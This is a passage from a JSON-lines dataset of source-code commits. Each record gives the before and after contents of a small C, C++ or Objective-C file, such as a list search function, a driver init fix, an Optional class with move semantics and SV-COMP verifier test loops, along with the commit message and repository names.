{"commit":"f0b6c5101e4b1c88410e8e9d227266500497e031","old_file":"list.c","new_file":"list.c","old_contents":"#include \"list.h\"\n\nstruct ListNode\n{\n\tListNode* prev;\n\tListNode* next;\n\tvoid* k;\n};\n\nstruct List\n{\n\tListNode* head;\n};\n\nList* List_Create(void)\n{\n\tList* l = (List *)malloc(sizeof(List));\n\tl->head = NULL;\n\treturn l;\n}\n\nListNode* ListNode_Create(void* k)\n{\n\tListNode* n = (ListNode *)malloc(sizeof(ListNode));\n\tn->prev = NULL;\n\tn->next = NULL;\n\tn->k = k;\n\treturn n;\n}\n","new_contents":"#include \"list.h\"\n\nstruct ListNode\n{\n\tListNode* prev;\n\tListNode* next;\n\tvoid* k;\n};\n\nstruct List\n{\n\tListNode* head;\n};\n\nList* List_Create(void)\n{\n\tList* l = (List *)malloc(sizeof(List));\n\tl->head = NULL;\n\treturn l;\n}\n\nListNode* ListNode_Create(void* k)\n{\n\tListNode* n = (ListNode *)malloc(sizeof(ListNode));\n\tn->prev = NULL;\n\tn->next = NULL;\n\tn->k = k;\n\treturn n;\n}\n\nListNode* List_Search(List* l, void* k, int (f)(void*, void*))\n{\n\tListNode* n = l->head;\n\twhile (n != NULL && !f(n->k, k))\n\t{\n\t\tn = n->next;\n\t}\n\treturn n;\n}\n","subject":"Add List Search function implementation","message":"Add List Search function implementation\n","lang":"C","license":"mit","repos":"MaxLikelihood\/CADT"}
{"commit":"aa2916ff583a12e068251d36d0045c68e5895a5c","old_file":"mudlib\/mud\/home\/System\/sys\/extinguishd.c","new_file":"mudlib\/mud\/home\/System\/sys\/extinguishd.c","old_contents":"#include <status.h>\n#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n#include <kotaka\/privilege.h>\n\ninherit SECOND_AUTO;\n\nvoid extinguish(string path)\n{\n\tACCESS_CHECK(KADMIN());\n\tcall_out(\"purge\", 0, path, status(ST_OTABSIZE));\n}\n\nstatic void purge(string path, int quota)\n{\n\tint limit;\n\n\tlimit = 200;\n\n\tif (quota % limit != 0) {\n\t\tlimit = quota % limit;\n\t}\n\n\tfor (; quota > 0 && limit > 0; quota--, limit--) {\n\t\tobject obj;\n\n\t\tif (obj = find_object(path + \"#\" + quota)) {\n\t\t\tdestruct_object(obj);\n\t\t}\n\t}\n\n\tLOGD->post_message(\"test\", LOG_INFO, quota + \" objects to check.\");\n\n\tif (quota > 0) {\n\t\tcall_out(\"purge\", 0, path, quota);\n\t}\n}\n","new_contents":"#include <status.h>\n#include <kotaka\/paths.h>\n#include <kotaka\/log.h>\n#include <kotaka\/privilege.h>\n\ninherit SECOND_AUTO;\n\nvoid extinguish(string path)\n{\n\tif (!KADMIN()) {\n\t\tstring opath;\n\n\t\topath = object_name(previous_object());\n\n\t\tACCESS_CHECK(DRIVER->creator(opath));\n\t\tACCESS_CHECK(DRIVER->creator(opath) == DRIVER->creator(path));\n\t}\n\n\tcall_out(\"purge\", 0, path, status(ST_OTABSIZE));\n}\n\nstatic void purge(string path, int quota)\n{\n\tint limit;\n\n\tlimit = 128;\n\n\tif (quota % limit != 0) {\n\t\tlimit = quota % limit;\n\t}\n\n\tfor (; quota > 0 && limit > 0; quota--, limit--) {\n\t\tobject obj;\n\n\t\tif (obj = find_object(path + \"#\" + quota)) {\n\t\t\tdestruct_object(obj);\n\t\t}\n\t}\n\n\tLOGD->post_message(\"test\", LOG_INFO, quota + \" objects to check.\");\n\n\tif (quota > 0) {\n\t\tcall_out(\"purge\", 0, path, quota);\n\t}\n}\n","subject":"Allow extinguishing of objects with the same creator as yourself.","message":"Allow extinguishing of objects with the same creator as yourself.\n","lang":"C","license":"agpl-3.0","repos":"shentino\/kotaka,shentino\/kotaka,shentino\/kotaka"}
{"commit":"112d20ad5ca06a9ec7237602ee33bef6fa881daa","old_file":"drivers\/gpu\/drm\/nouveau\/nv04_mc.c","new_file":"drivers\/gpu\/drm\/nouveau\/nv04_mc.c","old_contents":"#include \"drmP.h\"\n#include \"drm.h\"\n#include \"nouveau_drv.h\"\n#include \"nouveau_drm.h\"\n\nint\nnv04_mc_init(struct drm_device *dev)\n{\n\t\/* Power up everything, resetting each individual unit will\n\t * be done later if needed.\n\t *\/\n\n\tnv_wr32(dev, NV03_PMC_ENABLE, 0xFFFFFFFF);\n\treturn 0;\n}\n\nvoid\nnv04_mc_takedown(struct drm_device *dev)\n{\n}\n","new_contents":"#include \"drmP.h\"\n#include \"drm.h\"\n#include \"nouveau_drv.h\"\n#include \"nouveau_drm.h\"\n\nint\nnv04_mc_init(struct drm_device *dev)\n{\n\t\/* Power up everything, resetting each individual unit will\n\t * be done later if needed.\n\t *\/\n\n\tnv_wr32(dev, NV03_PMC_ENABLE, 0xFFFFFFFF);\n\n\t\/* Disable PROM access. *\/\n\tnv_wr32(dev, NV_PBUS_PCI_NV_20, NV_PBUS_PCI_NV_20_ROM_SHADOW_ENABLED);\n\n\treturn 0;\n}\n\nvoid\nnv04_mc_takedown(struct drm_device *dev)\n{\n}\n","subject":"Disable PROM access on init.","message":"drm\/nouveau: Disable PROM access on init.\n\nOn older cards (<nv17) scanout gets blocked when the ROM is being\naccessed. PROM access usually comes out enabled from suspend, switch\nit off.\n\nSigned-off-by: Francisco Jerez <5906ff32bdd9fd8db196f6ba5ad3afd6f9257ea5@riseup.net>\nSigned-off-by: Ben Skeggs <d9f27fb07c1e9f131223ad827fa5179f3846c30b@redhat.com>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas"}
{"commit":"77813adc0001c96511aa932ced1adc8500b3f280","old_file":"example\/ex-multi05.c","new_file":"example\/ex-multi05.c","old_contents":"#include <stdio.h>\n\n#include \"m-array.h\"\n#include \"m-string.h\"\n\n\/\/ Let's create an array of string_t and register it globaly\nARRAY_DEF(vector_string, string_t)\n#define M_OPL_vector_string_t() ARRAY_OPLIST(vector_string, STRING_OPLIST)\n\nint main(void)\n{\n    \/\/ Let's define a new string named str\n    M_LET(str, string_t)\n    \/\/ Let's define msg as a vector_array_t\n    M_LET( (msg, STRING_CTE(\"Hello\"), STRING_CTE(\"C\"), STRING_CTE(\"World!\"), STRING_CTE(\"Let's\"), STRING_CTE(\"discover\"), STRING_CTE(\"M*LIB!\")), vector_string_t) {\n        \/\/ Iterate over all words of the array msg\n        for M_EACH(word, msg, vector_string_t) {\n            \/\/ Cat the current word into the target string\n            string_cat(str, *word);\n            \/\/ Also add a space character\n            string_push_back(str, ' ');\n        }\n        \/\/ Print the result\n        printf(\"%s\\n\", string_get_cstr(str) );\n    }\n    return 0;\n}\n","new_contents":"#include <stdio.h>\n\n#include \"m-array.h\"\n#include \"m-string.h\"\n\n\/\/ Let's create an array of string_t and register it globaly\nARRAY_DEF(vector_string, string_t)\n#define M_OPL_vector_string_t() ARRAY_OPLIST(vector_string, STRING_OPLIST)\n\nint main(void)\n{\n    \/\/ Let's define a new string named str\n    M_LET(str, string_t)\n    \/\/ Let's define msg as a vector_array_t\n    M_LET( (msg, STRING_CTE(\"Hello\"), STRING_CTE(\"C\"), STRING_CTE(\"World!\"), STRING_CTE(\"Let's\"), STRING_CTE(\"discover\"), STRING_CTE(\"M*LIB!\")), vector_string_t) {\n        \/\/ Iterate over all words of the array msg\n        for M_EACH(word, msg, vector_string_t) {\n            \/\/ Cat the current word into the target string\n            string_cat(str, *word);\n            \/\/ Also add a space character\n            string_push_back(str, ' ');\n        }\n        \/\/ Let's define another string and set it to a formatted value.\n        M_LET( (count, \"\\nTo display this it uses \\\"vector\\\" of %zu strings!\", vector_string_size(msg)), string_t) {\n            string_cat(str, count);\n        }\n        \/\/ Print the result\n        printf(\"%s\\n\", string_get_cstr(str) );\n    }\n    return 0;\n}\n","subject":"Add example of formatted C string for string in M_LET","message":"Add example of formatted C string for string in M_LET\n","lang":"C","license":"bsd-2-clause","repos":"P-p-H-d\/mlib,P-p-H-d\/mlib"}
{"commit":"aba2ec8c709b9bb5b2484e86d8f108b0ae0932d4","old_file":"src\/modules\/illume-keyboard\/e_mod_main.c","new_file":"src\/modules\/illume-keyboard\/e_mod_main.c","old_contents":"#include \"e.h\"\n#include \"e_mod_main.h\"\n#include \"e_mod_config.h\"\n#include \"e_kbd_int.h\"\n\n\/* local variables *\/\nstatic E_Kbd_Int *ki = NULL;\n\nEAPI E_Module_Api e_modapi = { E_MODULE_API_VERSION, \"Illume Keyboard\" };\n\nEAPI void *\ne_modapi_init(E_Module *m) \n{\n   if (!il_kbd_config_init(m)) return NULL;\n\n   ki = e_kbd_int_new(mod_dir, mod_dir, mod_dir);\n\n   return m;\n}\n\nEAPI int \ne_modapi_shutdown(E_Module *m) \n{\n   if (ki) \n     {\n        e_kbd_int_free(ki);\n        ki = NULL;\n     }\n   il_kbd_config_shutdown();\n   return 1;\n}\n\nEAPI int \ne_modapi_save(E_Module *m) \n{\n   return il_kbd_config_save();\n}\n","new_contents":"#include \"e.h\"\n#include \"e_mod_main.h\"\n#include \"e_mod_config.h\"\n#include \"e_kbd_int.h\"\n\n\/* local variables *\/\nstatic E_Kbd_Int *ki = NULL;\n\nEAPI E_Module_Api e_modapi = { E_MODULE_API_VERSION, \"Illume Keyboard\" };\n\nEAPI void *\ne_modapi_init(E_Module *m) \n{\n   if (!il_kbd_config_init(m)) return NULL;\n\n   ki = e_kbd_int_new(il_kbd_cfg->mod_dir, \n                      il_kbd_cfg->mod_dir, il_kbd_cfg->mod_dir);\n\n   return m;\n}\n\nEAPI int \ne_modapi_shutdown(E_Module *m) \n{\n   if (ki) \n     {\n        e_kbd_int_free(ki);\n        ki = NULL;\n     }\n   il_kbd_config_shutdown();\n   return 1;\n}\n\nEAPI int \ne_modapi_save(E_Module *m) \n{\n   return il_kbd_config_save();\n}\n","subject":"Use correct module directory when making keyboard. Previous commit fixed compiler warnings also.","message":"Use correct module directory when making keyboard.\nPrevious commit fixed compiler warnings also.\n\n\n\ngit-svn-id: 6ac5796aeae0cef97fb47bcc287d4ce899c6fa6e@43875 7cbeb6ba-43b4-40fd-8cce-4c39aea84d33\n","lang":"C","license":"bsd-2-clause","repos":"jordemort\/e17,jordemort\/e17,jordemort\/e17"}
{"commit":"02abf1a1f71cbd7db8b0e0e4d9e94ea1070d7d9a","old_file":"doors.h","new_file":"doors.h","old_contents":"#ifndef _DOORS_H_\n#define _DOORS_H_\n\n#ifndef NUMBER_OF_DOORS\n#define NUMBER_OF_DOORS         3\n#endif\n\ntypedef struct {\n    unsigned int has_prize         :  1;\n    unsigned int currently_selected:  1;\n    unsigned int revealed          :  1;\n} door;\n\n\/*\n * game status updates\n *\/\nextern void set_doors(void);\nextern void select_door(unsigned int number);\nextern void show_doors(void);\nextern void reveal_all_doors(void);\n\n\/*\n * game status queries\n *\/\nextern unsigned int get_door_number(void);\nextern unsigned int current_guess(void);\nextern unsigned int winning_door(void);\nextern unsigned int hint_door(void);\n\n#endif\n","new_contents":"#ifndef _DOORS_H_\n#define _DOORS_H_\n\n#ifndef NUMBER_OF_DOORS\n#define NUMBER_OF_DOORS         3\n#endif\n\n#include <limits.h>\n#if (NUMBER_OF_DOORS > UINT_MAX)\n#error (n) doors exceeds storage allocation limit for `unsigned int'.\n#endif\n\ntypedef struct {\n    unsigned int has_prize         :  1;\n    unsigned int currently_selected:  1;\n    unsigned int revealed          :  1;\n} door;\n\n\/*\n * game status updates\n *\/\nextern void set_doors(void);\nextern void select_door(unsigned int number);\nextern void show_doors(void);\nextern void reveal_all_doors(void);\n\n\/*\n * game status queries\n *\/\nextern unsigned int get_door_number(void);\nextern unsigned int current_guess(void);\nextern unsigned int winning_door(void);\nextern unsigned int hint_door(void);\n\n#endif\n","subject":"Throw a fatal pre-processor error if (n > UINT_MAX).","message":"Throw a fatal pre-processor error if (n > UINT_MAX).\n","lang":"C","license":"cc0-1.0","repos":"cxd4\/Monty-Hall,cxd4\/Monty-Hall"}
{"commit":"246b6611122d65b4a7c5deef1d888ef0f88a14d9","old_file":"Common\/CoreLocation+MITAdditions.h","new_file":"Common\/CoreLocation+MITAdditions.h","old_contents":"#import <CoreLocation\/CLLocation.h>\n\n#define DEGREES_PER_RADIAN 180.0 \/ M_PI\n#define RADIANS_PER_DEGREE M_PI \/ 180.0\n\n#define DEFAULT_MAP_CENTER CLLocationCoordinate2DMake(42.35913,-71.09325)\n#define DEFAULT_MAP_SPAN MKCoordinateSpanMake(0.006, 0.006)\n\n\/\/ these are 1 and 2 miles respectively\n#define OUT_OF_BOUNDS_DISTANCE 1609\n#define WAY_OUT_OF_BOUNDS_DISTANCE 3218\n\n@interface CLLocation (MITAdditions)\n\n- (CLLocationDistance)distanceFromCenterOfCampus;\n- (BOOL)isOnCampus;\n- (BOOL)isNearCampus;\n\n@end\n\n@interface NSValue (CL_MITAdditions)\n+ (NSValue *)valueWithMKCoordinate:(CLLocationCoordinate2D)coordinate;\n- (CLLocationCoordinate2D)MKCoordinateValue;\n\n@end","new_contents":"#import <CoreLocation\/CLLocation.h>\n#import <CoreLocation\/CoreLocation.h>\n\n#define DEGREES_PER_RADIAN 180.0 \/ M_PI\n#define RADIANS_PER_DEGREE M_PI \/ 180.0\n\n#define DEFAULT_MAP_CENTER CLLocationCoordinate2DMake(42.35913,-71.09325)\n#define DEFAULT_MAP_SPAN MKCoordinateSpanMake(0.006, 0.006)\n\n\/\/ these are 1 and 2 miles respectively\n#define OUT_OF_BOUNDS_DISTANCE 1609\n#define WAY_OUT_OF_BOUNDS_DISTANCE 3218\n\nFOUNDATION_STATIC_INLINE inline NSString* NSStringFromCLLocationCoordinate2D(CLLocationCoordinate2D coordinate) {\n    return [NSString stringWithFormat:@\"{ x: %lf, y: %lf }\", coordinate.longitude, coordinate.latitude];\n}\n\n@interface CLLocation (MITAdditions)\n\n- (CLLocationDistance)distanceFromCenterOfCampus;\n- (BOOL)isOnCampus;\n- (BOOL)isNearCampus;\n\n@end\n\n@interface NSValue (CL_MITAdditions)\n+ (NSValue *)valueWithMKCoordinate:(CLLocationCoordinate2D)coordinate;\n- (CLLocationCoordinate2D)MKCoordinateValue;\n\n@end","subject":"Add a convenience function to get an NSString from a CLLocationCoordinate2D object","message":"Add a convenience function to get an NSString from a CLLocationCoordinate2D object\n","lang":"C","license":"lgpl-2.1","repos":"MIT-Mobile\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS,xNUTs\/MIT-Mobile-for-iOS,MIT-Mobile\/MIT-Mobile-for-iOS,smartcop\/MIT-Mobile-for-iOS"}
{"commit":"4b50bfb7b55d0aa4524a89bbed9b67c64481af1d","old_file":"src\/modularization_programs\/c\/parameter_passing\/sample_parameter_passing.c","new_file":"src\/modularization_programs\/c\/parameter_passing\/sample_parameter_passing.c","old_contents":"","new_contents":"\/*\n * Author: Jhonatan Casale (jhc)\n *\n * Contact : jhonatan@jhonatancasale.com\n *         : casale.jhon@gmail.com\n *         : https:\/\/github.com\/jhonatancasale\n *         : https:\/\/twitter.com\/jhonatancasale\n *         : http:\/\/jhonatancasale.github.io\/\n *\n * Create date Sat 10 Dec 16:13:19 BRST 2016\n *\n *\/\n\n#include <stdlib.h>\n#include <stdio.h>\n\nint sumByReference (int *, int *);\nint sumByValue (int, int);\n\nint main (int argc, char **argv)\n{\n  int a = 10;\n  int b = 37;\n\n  printf (\"a:%d, b%d\\n\", a, b);\n\n  printf (\"a:%d, b%d => sumByValue() = %d\\n\", a, b, sumByValue(a, b) );\n\n  printf (\"a:%d, b%d => sumByReference() = %d\\n\", a, b, sumByReference(&a, &b) );\n\n  printf (\"a:%d, b%d\\n\", a, b);\n\n  return (EXIT_SUCCESS);\n}\n\nint sumByValue (int a, int b) {\n  int aux = a;\n  a = b;\n  b = aux;\n  return (a + b);\n}\n\nint sumByReference ( int * a, int * b) {\n  int aux = *a;\n  *a = *b;\n  *b = aux;\n  return (*a + *b);\n}\n","subject":"Add parameter passing example in c","message":"Add parameter passing example in c\n","lang":"C","license":"mit","repos":"jhonatancasale\/c-python-r-diffs,jhonatancasale\/c-python-r-diffs,jhonatancasale\/c-python-r-diffs"}
{"commit":"34d2be5fddf51413062f0995bfcb3b9401ffcef1","old_file":"utils.h","new_file":"utils.h","old_contents":"#pragma once\r\n\r\nnamespace me {\r\n\ttemplate<class T>\r\n\tclass Optional {\r\n\t\tT *m_object;\r\n\tpublic:\r\n\t\tOptional() : m_object(0) {}\r\n\r\n\t\tOptional(const T& other) : m_object(new T(other)) {}\r\n\r\n\t\tOptional& operator=(const T& other) {\r\n\t\t\tif (m_object != 0) {\r\n\t\t\t\tdelete m_object;\r\n\t\t\t}\r\n\t\t\tm_object = new T(other);\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\t\toperator bool() const {\r\n\t\t\treturn m_object != 0;\r\n\t\t}\r\n\r\n\t\tT& operator *() const {\r\n\t\t\treturn *m_object;\r\n\t\t}\r\n\r\n\t\tT* operator ->() const {\r\n\t\t\treturn m_object;\r\n\t\t}\r\n\r\n\t\tT* pointer() const {\r\n\t\t\treturn m_object;\r\n\t\t}\r\n\t};\r\n\r\n\t\/\/ splitting.\r\n\tstd::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems);\r\n\tstd::vector<std::string> split(const std::string &s, char delim);\r\n}","new_contents":"#pragma once\r\n\r\nnamespace me {\r\n\t\/\/ basic optional implementation.\r\n\ttemplate<class T>\r\n\tclass Optional {\r\n\t\tT *m_object;\r\n\r\n\tpublic:\r\n\t\tOptional() : m_object(0) { }\r\n\r\n\t\t\/\/ copy constructor\r\n\t\tOptional(const Optional<T>& other) : m_object(new T(*other)) { }\r\n\r\n\t\t\/\/ move constructor\r\n\t\tOptional(Optional<T>&& other) : m_object(other.m_object) {\r\n\t\t\tother.m_object = 0;\r\n\t\t}\r\n\r\n\t\tOptional(const T& other) : m_object(new T(other)) { }\r\n\r\n\t\t\/\/ destructor\r\n\t\t~Optional() {\r\n\t\t\tdelete m_object;  \/\/ delete 0 is a no-op, so we are fine here.\r\n\t\t}\r\n\r\n\t\t\/\/ copy assignment operator\r\n\t\tOptional& operator=(const Optional<T>& other) {\r\n\t\t\tdelete m_object;  \/\/ delete 0 is a no-op\r\n\t\t\tm_object = new T(*other);\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\t\tOptional& operator=(const T& other) {\r\n\t\t\tdelete m_object;  \/\/ delete 0 is a no-op\r\n\t\t\tm_object = new T(other);\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\t\t\/\/ move assignment operator\r\n\t\tOptional& operator=(Optional<T>&& other) {\r\n\t\t\tdelete m_object;  \/\/ delete 0 is a no-op\r\n\t\t\tm_object = other.m_object;\r\n\t\t\tother.m_object = 0;\r\n\t\t\treturn *this;\r\n\t\t}\r\n\r\n\t\toperator bool() const {\r\n\t\t\treturn m_object != 0;\r\n\t\t}\r\n\r\n\t\tT& operator *() const {\r\n\t\t\treturn *m_object;\r\n\t\t}\r\n\r\n\t\tT* operator ->() const {\r\n\t\t\treturn m_object;\r\n\t\t}\r\n\r\n\t\tT* pointer() const {\r\n\t\t\treturn m_object;\r\n\t\t}\r\n\t};\r\n\r\n\t\/\/ splitting.\r\n\tstd::vector<std::string> &split(const std::string &s, char delim, std::vector<std::string> &elems);\r\n\tstd::vector<std::string> split(const std::string &s, char delim);\r\n}","subject":"Use move semantics in Optional implementation.","message":"Use move semantics in Optional implementation.\n","lang":"C","license":"mit","repos":"ckarmann\/TrackCommit,ckarmann\/TrackCommit"}
{"commit":"1b5ab79b0bd0973de3a2b6ca256f7d1d4d4c1736","old_file":"include\/perfetto\/protozero\/contiguous_memory_range.h","new_file":"include\/perfetto\/protozero\/contiguous_memory_range.h","old_contents":"\/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n#define INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n\n#include <assert.h>\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace protozero {\n\n\/\/ Keep this struct trivially constructible (no ctors, no default initializers).\nstruct ContiguousMemoryRange {\n  uint8_t* begin;\n  uint8_t* end;  \/\/ STL style: one byte past the end of the buffer.\n\n  inline bool is_valid() const { return begin != nullptr; }\n  inline void reset() { begin = nullptr; }\n  inline size_t size() { return static_cast<size_t>(end - begin); }\n};\n\n}  \/\/ namespace protozero\n\n#endif  \/\/ INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n","new_contents":"\/*\n * Copyright (C) 2017 The Android Open Source Project\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#ifndef INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n#define INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n\n#include <assert.h>\n#include <stddef.h>\n#include <stdint.h>\n\nnamespace protozero {\n\n\/\/ Keep this struct trivially constructible (no ctors, no default initializers).\nstruct ContiguousMemoryRange {\n  uint8_t* begin;\n  uint8_t* end;  \/\/ STL style: one byte past the end of the buffer.\n\n  inline bool is_valid() const { return begin != nullptr; }\n  inline void reset() { begin = nullptr; }\n  inline size_t size() const { return static_cast<size_t>(end - begin); }\n};\n\n}  \/\/ namespace protozero\n\n#endif  \/\/ INCLUDE_PERFETTO_PROTOZERO_CONTIGUOUS_MEMORY_RANGE_H_\n","subject":"Mark ContiguousMemoryRange::size as const. am: f2c28cd765","message":"Mark ContiguousMemoryRange::size as const. am: f2c28cd765\n\nChange-Id: I8f62e95dd64516e3a99b3123c48b16fd88264f7e\n","lang":"C","license":"apache-2.0","repos":"google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto,google\/perfetto"}
{"commit":"4d53987845bce8e268926b5126ff426d1697cd40","old_file":"tests\/sv-comp\/cfg\/main_goto_loop_true-unreach-call.c","new_file":"tests\/sv-comp\/cfg\/main_goto_loop_true-unreach-call.c","old_contents":"","new_contents":"extern void __VERIFIER_error() __attribute__((__noreturn__));\n\nint main()\n{\n  f_empty_goto_loop();\n  f_empty_while_loop();\n  f_empty_goto_loop_suffix();\n  f_empty_while_loop_suffix();\n  f_nonempty_goto_loop();\n  f_nonempty_while_loop();\n\n  return 0;\n}\n\nvoid f_empty_goto_loop()\n{\nf_empty_goto_loop_label:\n  goto f_empty_goto_loop_label;\n}\n\nvoid f_empty_while_loop()\n{\n  while (1) {}\n}\n\nvoid f_empty_goto_loop_suffix()\n{\nf_empty_goto_loop_suffix_label:\n  goto f_empty_goto_loop_suffix_label;\n\n  __VERIFIER_error();\n}\n\nvoid f_empty_while_loop_suffix()\n{\n  while (1) {}\n\n  __VERIFIER_error();\n}\n\nvoid f_nonempty_goto_loop()\n{\nf_nonempty_goto_loop_label:\n  __VERIFIER_error();\n  goto f_nonempty_goto_loop_label;\n}\n\nvoid f_nonempty_while_loop()\n{\n  while (1)\n  {\n    __VERIFIER_error();\n  }\n}","subject":"Add infinite goto loop examples as SV-COMP tests","message":"Add infinite goto loop examples as SV-COMP tests\n","lang":"C","license":"mit","repos":"goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer,goblint\/analyzer"}
{"commit":"708edbddabbe7f689839ff6a213fe350b565764e","old_file":"Source\/UnrealEnginePython\/Public\/UnrealEnginePython.h","new_file":"Source\/UnrealEnginePython\/Public\/UnrealEnginePython.h","old_contents":"\/\/ Copyright 1998-2016 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"ModuleManager.h\"\n\nDECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All);\n\n\nclass UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface\n{\npublic:\n\n\tbool PythonGILAcquire();\n\tvoid PythonGILRelease();\n\n\tvirtual void StartupModule() override;\n\tvirtual void ShutdownModule() override;\n\n\tvoid RunString(char *);\n\tvoid RunFile(char *);\n\tvoid RunFileSandboxed(char *);\n\nprivate:\n\tvoid *ue_python_gil;\n\t\/\/ used by console\n\tvoid *main_dict;\n\tvoid *local_dict;\n};\n\nstruct FScopePythonGIL {\n\tFScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tUnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>(\"UnrealEnginePython\");\n\t\tsafeForRelease = UnrealEnginePythonModule.PythonGILAcquire();\n#endif\n\t}\n\n\t~FScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tif (safeForRelease) {\n\t\t\tUnrealEnginePythonModule.PythonGILRelease();\n\t\t}\n#endif\n\t}\n\n\tFUnrealEnginePythonModule UnrealEnginePythonModule;\n\tbool safeForRelease;\n};\n\n\n\n\n","new_contents":"\/\/ Copyright 1998-2016 Epic Games, Inc. All Rights Reserved.\n\n#pragma once\n\n#include \"ModuleManager.h\"\n\nDECLARE_LOG_CATEGORY_EXTERN(LogPython, Log, All);\n\n\nclass UNREALENGINEPYTHON_API FUnrealEnginePythonModule : public IModuleInterface\n{\npublic:\n\n\tbool PythonGILAcquire();\n\tvoid PythonGILRelease();\n\n\tvirtual void StartupModule() override;\n\tvirtual void ShutdownModule() override;\n\n\tvoid RunString(char *);\n\tvoid RunFile(char *);\n\tvoid RunFileSandboxed(char *);\n\nprivate:\n\tvoid *ue_python_gil;\n\t\/\/ used by console\n\tvoid *main_dict;\n\tvoid *local_dict;\n\tvoid *main_module;\n};\n\nstruct FScopePythonGIL {\n\tFScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tUnrealEnginePythonModule = FModuleManager::LoadModuleChecked<FUnrealEnginePythonModule>(\"UnrealEnginePython\");\n\t\tsafeForRelease = UnrealEnginePythonModule.PythonGILAcquire();\n#endif\n\t}\n\n\t~FScopePythonGIL()\n\t{\n#if defined(UEPY_THREADING)\n\t\tif (safeForRelease) {\n\t\t\tUnrealEnginePythonModule.PythonGILRelease();\n\t\t}\n#endif\n\t}\n\n\tFUnrealEnginePythonModule UnrealEnginePythonModule;\n\tbool safeForRelease;\n};\n\n\n\n\n","subject":"Add support for the Python Stdout Log","message":"Add support for the Python Stdout Log\n\nSupport the print(' ') and help(' '),\nCan be used as the transition period.\n","lang":"C","license":"mit","repos":"getnamo\/UnrealEnginePython,20tab\/UnrealEnginePython,kitelightning\/UnrealEnginePython,Orav\/UnrealEnginePython,getnamo\/UnrealEnginePython,Orav\/UnrealEnginePython,20tab\/UnrealEnginePython,getnamo\/UnrealEnginePython,kitelightning\/UnrealEnginePython,getnamo\/UnrealEnginePython,getnamo\/UnrealEnginePython,20tab\/UnrealEnginePython,20tab\/UnrealEnginePython,kitelightning\/UnrealEnginePython,kitelightning\/UnrealEnginePython,Orav\/UnrealEnginePython,Orav\/UnrealEnginePython,20tab\/UnrealEnginePython,kitelightning\/UnrealEnginePython"}
{"commit":"18f0174b401852cc6fbef23d9f9b2f1fa6ed3f82","old_file":"searchcore\/src\/apps\/vespa-feed-bm\/bm_storage_chain_builder.h","new_file":"searchcore\/src\/apps\/vespa-feed-bm\/bm_storage_chain_builder.h","old_contents":"\/\/ Copyright Verizon Media. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/storage\/common\/storage_chain_builder.h>\n\nnamespace feedbm {\n\nclass BmStorageLinkContext;\n\n\/*\n * Storage chain builder that inserts a BmStorageLink right below the\n * communication manager. This allows sending benchmark feed to chain.\n *\/\nclass BmStorageChainBuilder : public storage::StorageChainBuilder\n{\n    std::shared_ptr<BmStorageLinkContext> _context;\npublic:\n    BmStorageChainBuilder();\n    ~BmStorageChainBuilder() override;\n    const std::shared_ptr<BmStorageLinkContext>& get_context() { return _context; }\n    void add(std::unique_ptr<storage::StorageLink> link) override;\n};\n\n}\n\n","new_contents":"\/\/ Copyright Verizon Media. Licensed under the terms of the Apache 2.0 license. See LICENSE in the project root.\n\n#pragma once\n\n#include <vespa\/storage\/common\/storage_chain_builder.h>\n\nnamespace feedbm {\n\nstruct BmStorageLinkContext;\n\n\/*\n * Storage chain builder that inserts a BmStorageLink right below the\n * communication manager. This allows sending benchmark feed to chain.\n *\/\nclass BmStorageChainBuilder : public storage::StorageChainBuilder\n{\n    std::shared_ptr<BmStorageLinkContext> _context;\npublic:\n    BmStorageChainBuilder();\n    ~BmStorageChainBuilder() override;\n    const std::shared_ptr<BmStorageLinkContext>& get_context() { return _context; }\n    void add(std::unique_ptr<storage::StorageLink> link) 